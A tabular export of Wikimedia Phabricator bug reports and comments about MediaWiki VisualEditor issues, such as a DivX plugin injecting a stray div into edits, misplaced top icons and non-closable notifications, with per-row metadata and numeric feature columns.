+247415,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Sorry meant http://en.wikipedia.org/wiki/Special:AbuseFilter/345,,,1380184705,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+247411,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Detected and warning issued by the abuse filter http://en.wikipedia.org/wiki/Special:AbuseFilter/485,,,1380184623,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247405,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",for the record it happened in fr.wp : https://fr.wikipedia.org/w/index.php?title=Les_Fourmis_%28Werber%29&diff=96415737&oldid=89791930,,,1378394111,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+247398,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",@James: Should we go for silent remove on safe? Also we can start tracking it with information about logged in vs. logged out user.,,,1377119871,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1
+247393,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","I am also curious to know why it only happens to anonymous editors - at least, all the occurrences I have seen so far.",,,1377119586,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0
+247386,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",On it.wp as well: http://it.wikipedia.org/w/index.php?title=Tank_Palamara&diff=60582899&oldid=60582688,,,1375696065,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247384,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Silently remove on save. Hacking blacklist will prevent people from saving and many of them are not technical enough to understand why - bad bad user experience.,,,1375286948,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+247381,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #8)
+> As a workaround for now we could make VE remove those divs from the HTMLDOM
+> that it is sending to MW API for serializing. @James: Should we do it?
+
+You mean, have a blacklist of items to just silently remove on save? Could work as a quick hack.",,,1375286359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+247378,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",As a workaround for now we could make VE remove those divs from the HTMLDOM that it is sending to MW API for serializing. @James: Should we do it?,,,1374964307,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+247375,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #6)
+> Making this public since I don't see this having any security impact. Then
+> the
+> community can also give input into how they want to see it handled.
+
+Thanks Chris",,,1374014416,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+247371,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Making this public since I don't see this having any security impact. Then the community can also give input into how they want to see it handled.,,,1374014345,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+247368,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #2)
+> It's certainly a type of edit we really don't
+> want but more importantly I'm confused about how it's getting inserted and
+> avoiding the normal VE/parser work flow which should <nowiki> it (instead of
+> actually inserting it in as a div like it is now).
+It's possible that the plugin inserts it in all <iframe>s. We use <iframe>s internally for encapsulating HTML documents.",,,1374013982,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+247364,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #2)
+> I'm confused about how it's getting inserted and
+> avoiding the normal VE/parser work flow which should <nowiki> it (instead of
+> actually inserting it in as a div like it is now).
+
+It looks like it's bypassing the browser's events model and just inserting into the DOM, hence the issue. JS like VE isn't able to notice things outside the JS events model, sadly.",,,1374013882,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+247359,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #1)
+> Hi James, the google consensus seems to be that a DivX plugin is inserting
+> that. 
+> 
+> http://padawan.info/en/2011/03/wtf-is-this-myeventwatcherdiv-doing-in-my-web.
+> html
+> 
+> I'm guessing that VE's interface suddenly looks like something the plugin was
+> expecting to use in the browser, and so it silently adds the div.
+> 
+> We could add an abusefilter rule to block those edits, but that seems a
+> little drastic.
+
+Ideally we'd want a global AbuseFilter rule that just silently dropped the content from the edit, but that's not a feature AF currently does. :-)
+
+Blocking is a bit strong, though possibly likely to happen from the community if we just warn users and they ignore. The only fix (other than getting the upstream plugin crap fixed, which seems unlikely) is to do the auto-drop in VE, which is icky too.",,,1374013806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,2,,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+247354,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","yeah, that seems to be the consensus I could find too (which is very very weird... because I can't for the life of me find a 'legitimate' reason it should insert that into any page it can edit.. oh well certainly not the weirdest plugin BS I've seen). 
+
+Actually I don't think that's very drastic to do, the community almost certainly would agree and I'd pass it off to them (though they'll likely blame us for it which is never fun). It's certainly a type of edit we really don't want but more importantly I'm confused about how it's getting inserted and avoiding the normal VE/parser work flow which should <nowiki> it (instead of actually inserting it in as a div like it is now).",,,1374013674,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+247349,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Hi James, the google consensus seems to be that a DivX plugin is inserting that. 
+
+http://padawan.info/en/2011/03/wtf-is-this-myeventwatcherdiv-doing-in-my-web.html
+
+I'm guessing that VE's interface suddenly looks like something the plugin was expecting to use in the browser, and so it silently adds the div.
+
+We could add an abusefilter rule to block those edits, but that seems a little drastic.",,,1374013374,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+53420,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","In view mode, [[Template:Top icon]] places the featured star or good article at the top right hand corner.
+
+After loading a FA or GA or English Wikipedia, the featured star or good article icon appears where the template is, which is often down the bottom.  This is perfectly acceptable except for the 'where did it go?' feeling, but maybe a plugin could come up with a better UI design for topicons, geocoords, etc.
+
+Also templates without any real estate (like {{Use dmy dates}} and {{Use Australian English}}) 'disappear' entirely.
+
+https://en.wikipedia.org/wiki/Angels_Brought_Me_Here?veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51322",Low,25.0,1373941680,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-ee572n6mn4yah76xipnp,task_description,open,True,c1,3,False,False,,2,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+247164,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","Now that bug 23796 is fixed, we ""just"" need to work out a way to let the user set/unset these (bug 72199) and then trap clicks on this area to open the meta dialog, I think?",,,1414441807,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,True,,,69,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0
+247160,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","This is a rather more general problem with the Vector skin (there's desire to have flag icons from the content, but no ability other than a hack that's unsupportable in VisualEditor).",,,1380753138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0
+247155,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","Bug 51322 fixed issues that were 'solely metadata', but these actually do produce elements, the problems that remain for these elements are:
+1: incorrectly positioned
+2: their template edit button, when selected is visually placed far from the content, making it difficult to find. bug 50854
+3: if they were correctly positioned, they are 'decoupled' from their anchor point  which is a problem with templates producing floating content as well. bug 50907",,,1375717076,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+247149,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","The meta-templates bug 51322 has been marked as fixed, but the issue of top icons is still ongoing.",,,1375710059,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+247141,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable",'templates without any real estate' has been raised already as bug 51322 (meta templates).,,,1374037304,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+247132,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","It is easy to delete these hidden templates without noticing.
+
+e.g. delete the '↵' on Angels Brought Me Here.",,,1374035331,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0
+247125,"VisualEditor: Provide some way for out-of-skin places icons (e.g. featured star) to appear where they ""should"" and be editable","The 'templates without any real estate' problem is raised here:
+
+https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Time_for_an_essay
+
+I'm not sure if a separate bug has been raised, or even should be.  The top icons and templates without any real estate all need a special UI, probably under 'page settings'.",,,1374034932,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ee572n6mn4yah76xipnp,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+53411,VisualEditor: Automatically build the option description for visualeditor-enable,"Forked from the original request at bug 48666 which was solved by making the preference hidden, as intended.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373933760,1398713475.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-fe5263dfospwtagdlyvz,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+246612,VisualEditor: Automatically build the option description for visualeditor-enable,"Change 130075 merged by jenkins-bot:
+Add dynamically generated list of namespaces to visualeditor-enable preference
+
+https://gerrit.wikimedia.org/r/130075",,,1398712510,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fe5263dfospwtagdlyvz,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246607,VisualEditor: Automatically build the option description for visualeditor-enable,"Change 130075 had a related patch set uploaded by Alex Monk:
+Add dynamically generated list of namespaces to visualeditor-enable preference
+
+https://gerrit.wikimedia.org/r/130075",,,1398694222,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fe5263dfospwtagdlyvz,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53392,"VisualEditor: Create i18n toolbar icon for bold for Portuguese, Spanish and Galician","As in Bug T53330, I would like to request the icon for ""Bold"" to be an ""N"" (from ""Negrito"") in Portuguese (""pt"" and ""pt-br"").
+",Low,25.0,1373919300,1374771717.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-gguvte4hcswafvyrrjsm,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+245293,"VisualEditor: Create i18n toolbar icon for bold for Portuguese, Spanish and Galician",This was fixed and deployed yesterday.,,,1374771717,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gguvte4hcswafvyrrjsm,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53338,mw.notify notifications can't be removed/hidden programmatically,"Use case:
+* The user opens VisualEditor
+* The user types something that looks like wikitext
+* VE notices and displays an mw.notify bubble with autoHide:false
+* The user leaves VE by clicking on the Read tab
+* The editor is torn down and we go back to view mode, but the bubble persists
+
+I would like to be able to remove this bubble when the editor is torn down, but mw.notification doesn't expose an API for this. There is a .close() method on Notification, but there's no way to get the Notification object created by mw.notify().
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Low,25.0,1373853480,1382188535.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-mjeduabrtvm33uiu3e4a,task_description,resolved,True,c1,3,False,False,False,2,,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+242306,mw.notify notifications can't be removed/hidden programmatically,"Change 74407 merged by jenkins-bot:
+mediawiki.notification: Expose close method to hide a Notification
+
+https://gerrit.wikimedia.org/r/74407",,,1382187742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242305,mw.notify notifications can't be removed/hidden programmatically,"Change 74407 had a related patch set uploaded by Alex Monk:
+Return Notification object from mw.notification.notify
+
+https://gerrit.wikimedia.org/r/74407",,,1374170832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242302,mw.notify notifications can't be removed/hidden programmatically,"(In reply to comment #2)
+> I'd say that this is expected behavior and a ""feature"" of the shorthand. Just
+> like you can't have a message parsed by just doing mw.msg(), you have to use
+> mw.message().whatever() instead.
+> 
+> Alex's solution makes sense at a glance.
+Returning the Notification object would fix this, yes. Unfortunately, that change is still pending review.",,,1374170547,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+242299,mw.notify notifications can't be removed/hidden programmatically,"I'd say that this is expected behavior and a ""feature"" of the shorthand. Just like you can't have a message parsed by just doing mw.msg(), you have to use mw.message().whatever() instead.
+
+Alex's solution makes sense at a glance.",,,1373910457,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+242293,mw.notify notifications can't be removed/hidden programmatically,"I had this problem in Gerrit change 5130. Had to depend on mediawiki.notification, add a 'return notif' to the mw.notification.notify function and use that instead of mw.notify.",,,1373855119,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+53336,"VisualEditor: Deleting new line icon (""↵"") between two links has no effect (?)","If an article has 
+
+[external link]
+[external link]
+
+It is rendered in VE as:
+
+[external link]↵[external link]
+
+Selecting the ↵ and pressing delete causes the ↵ to be removed, however the link break is not removed, and saving says that there are no changes.
+
+Example:
+https://en.wikipedia.org/wiki/Otis_%28album%29?veaction=edit
+
+--------------------------
+**Version**: unspecified
